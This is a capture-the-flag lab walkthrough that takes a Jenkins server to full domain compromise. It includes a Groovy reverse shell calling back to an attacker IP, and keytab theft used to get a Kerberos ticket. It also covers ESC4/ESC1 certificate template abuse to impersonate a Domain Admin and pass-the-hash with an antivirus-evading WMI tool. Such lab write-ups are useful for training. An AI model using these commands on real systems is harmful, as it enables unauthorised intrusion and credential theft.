HackSmarter Anomaly Walkthrough

Objective :

The core objective is to demonstrate the full impact of a successful network intrusion by achieving Domain Administrator privileges over the client’s Active Directory environment. The test will simulate a motivated external attacker’s progression from an initial foothold to complete administrative control.

Scope

The in-scope assets for this engagement include two critical IP addresses:

A hardened Ubuntu Server (Initial Foothold Target). The primary Domain Controller (Final Privilege Escalation Target). It is a critical finding that the Domain Controller is running active Antivirus (AV) software; therefore, this test will specifically involve techniques to bypass or evade the installed AV to successfully compromise the domain and demonstrate the potential for a full domain compromise.

Solution :

We first scan both machines for open ports . First we start with the Ubuntu machine :

then for the DC , i ran a more detailed scan .

First i will start with the Ubuntu machine .

Ubuntu machine :

If we visit port 8080 on the ubuntu machine , we find a Jenkins server running .

Looking online , the default creds for Jenkins are admin:admin , Luckily for us they’re still using the default creds , so we are able to login .

Since we are admin on the jenkins server , it’s easy to get a reverse shell by executing code via the Script Console :

==> Inside the script console :

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.200.61.36/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

==> On ur Kali :
nc -lnvp 8443

We’ll just stabilize our shell , usually i use python for this , but this time it didn’t work , so i used script instead :

script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
export TERM=xterm
PS1='\[\e[31m\]\u\[\e[96m\]@\[\e[35m\]\H\[\e[0m\]:\[\e[93m\]\w\[\e[0m\]\$' : (This is just for colour)

Now first thing i like to check once i get access to a linux machine is the SUIDs as well as the binaries we can run as root without password (sudo -l):

We see that we’re able to run the binary router_config as root without password , this is a custom program so you won’t find any known methods to exploit it on GTFOBINS , i tried running it normally to see how it would usually work , apparently it takes our file and apply some kind of configurations to it .

To analyze it better i transfered it back to my kali machine and put it inside Ghidra to try and reverse engineer it .

We see that our parameter is taken directly and passed though the system command , we can try Command injection in this case .

Perfect , we can either make bash an SUID then do bash -p or just execute Bash as root through the binary .

Just like that we get our user flag . Before moving to the DC , i tried searching for some creds in notes or in a specific folder but i couldn’t fine anything .

In a Domain Joined machine , once we fully compromise it , it’s always good to check Kerberos related Files , specially that we see Port 88 open on the DC so we know that Kerberos is open .

These files are : /etc/krb5.conf — reveals the realm, KDC address, and confirms AD domain membership /etc/krb5.keytab — if readable, contains principal keys that allow direct TGT requests without knowing the password

Now all we should do is transfer these 2 files back to our Kali machine , and from there use klist to first get the Principle name , and then generate TGT on his behalf using the AES key inside his keytab file , and finally we use the ticket stored in our ccache to authenticate and enumerate the domain further.

Now First , we copy the kerb.conf file to our /etc/kerb.conf , krb5.conf tells your Kali where the KDC is. Without it your Kali has no idea where the domain ANOMALY.HSM is.

Then we use klist to get the principle name from the Keytab file :

klist -kt krb5.keytab 

We got the Principle name , now we can use kinit to request a TGT on his behalf using his Keytab file .

==> Request the TGT :
kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM

==> To verify the TGT was imported :
klist 

Now we export the path to our ccache file via KRB5CCNAME, so that nxc knows where to look for the TGT once we reference it with –use-kcache :

export KRB5CCNAME=/tmp/krb5cc_1000
nxc smb Anomaly-DC.anomaly.hsm -u 'Brandon_Boyd' -k --use-kcache

Perfect , now we’re all set , we can move to the DC .

Domain Controller :

First thing i like to do is generate a list of all users on the domain to try attacks like ASREPROASTING , or just read their desctiptiion (for this we need nxc with ldap not smb) .

Perfect we found the user’s password in the description field , now we can start using it instead of the TGT (doesn’t make that much difference , with a TGT nxc ingestor won’t work for Bloodhound so we will need an alternative , but we can use the password instead in our case )

Now i first tried checking the shares , but there were only the default ones :

!!!! Forgot to mention , but before we do any of this it’s always better to add the Domain name as well as the Hostname to our /etc/hosts file .

Now let’s go back to our enumeration , our user can’t login to the machine , so the only option left is through BloodHound , before checking for certificate template misconfigurations , since we have an ADCS in place .

No Outbound Objects Control , the groups aren’t interesting either , so we move to ADCS attacks .

certipy-ad find -u 'Brandon_Boyd@ANOMALY.HSM' -p '3edc4rfv#EDC$RFV' -dc-ip $target -target ANOMALY-DC.anomaly.hsm -vulnerable

Perfect , we found an ESC4 and ESC1 as well .

But if we look closely at the output , besides the Domain Admins and Enterprise Admins ,only Domain computers are allowed to modify the template (Full control over it ).

Now this shouldn’t be a problem since by default every user is able to create up to 10 machine accounts , we can create one and use that to modify the template and perfom our ESC4 .

To create the machine account i used Bloodyad .

bloodyad  -d 'anomaly.hsm' -u 'Brandon_Boyd' -p '3edc4rfv#EDC$RFV' --host 'Anomaly-DC.anomaly.hsm' add computer 'Test' 'WEAK123.'    

We can see that our machine account was created successfully. Now we use certipy to modify the CertAdmin template to make it vulnerable to ESC1 , this is the ESC4 attack, abusing write permissions on the template object. From there we request a certificate impersonating a Domain Admin (ANNA_MOLLY), then use certipy auth to exchange that certificate for a TGT and NTLM hash, giving us full domain access.

(To save time , i tried first to get the TGT for the Administrator user but apprently the account was disabled so it didn’t work ) .

certipy auth -pfx 'administrator.pfx'
→ KDC_ERR_CLIENT_REVOKED  ← account disabled/locked
```bash

Now back to our attack chain :

```bash
==> First we modify the template to make it vulnerable :

certipy-ad template -target 'Anomaly-DC.anomaly.hsm' \
  -u 'TEST$@anomaly.hsm' -p 'WEAK123.' \
  -dc-ip $target -template 'CertAdmin' \
  -write-default-configuration

==> Get the DA SID (Molly in our case ) :
bloodyAD -d 'anomaly.hsm' -u 'Brandon_Boyd' -p ''3edc4rfv#EDC$RFV'' \
  --host 'Anomaly-DC.anomaly.hsm' get object 'ANNA_MOLLY' --attr objectSid

==> Request cert impersonating DA (ESC1)
certipy-ad req -target 'Anomaly-DC.anomaly.hsm' \
  -u 'TEST$@anomaly.hsm' -p 'WEAK123.' \
  -dc-ip $target \
  -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' \
  -upn 'ANNA_MOLLY@anomaly.hsm' \
  -sid 'S-1-5-21-1496966362-3320961333-4044918980-1105'

==> Authenticate → TGT + NTLM hash
certipy-ad auth -pfx 'anna_molly.pfx' -dc-ip $target

```bash

<img width="1341" height="721" alt="image" src="https://github.com/user-attachments/assets/bc8d5784-adc6-458e-8eca-6653f3c5c7a1" />

Now that it is updated we get the SID :

<img width="1906" height="343" alt="image" src="https://github.com/user-attachments/assets/9a6fc5cf-6282-445a-9b67-90198c4a09fc" />

Now we just request the certificate and authenticate using it :

<img width="1243" height="799" alt="image" src="https://github.com/user-attachments/assets/65790a88-c3b1-4e4d-975b-ebdf00cc3b0f" />

Looking at the initial scan , we know Winrm isn't open , we can use impacket wmi instead , it will allow us to connect and execute code on the target via WMI .

<img width="1570" height="380" alt="image" src="https://github.com/user-attachments/assets/aff982b3-0e94-4ab3-9bec-ed54758139a5" />

It just hangs , this is probably due to the fact that an AV is in place which blocks known signatures for tools like WMIexec .

I found this tool , wmiexec2 , which is a stealthier version , designed to bypass the AV detection , we will use it instead : 

```bash
https://github.com/ice-wzl/wmiexec2
git clone https://github.com/ice-wzl/wmiexec2.git
cd wmiexec2/
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
python3 wmiexec2.py anomaly.hsm/anna_molly@$target -hashes ':be4bf3131851aee9a424c58e02879f6e'

The root flag is always in the administrator Desktop .

That was all for this Lab , hope you learned something from it , see you in the next one :)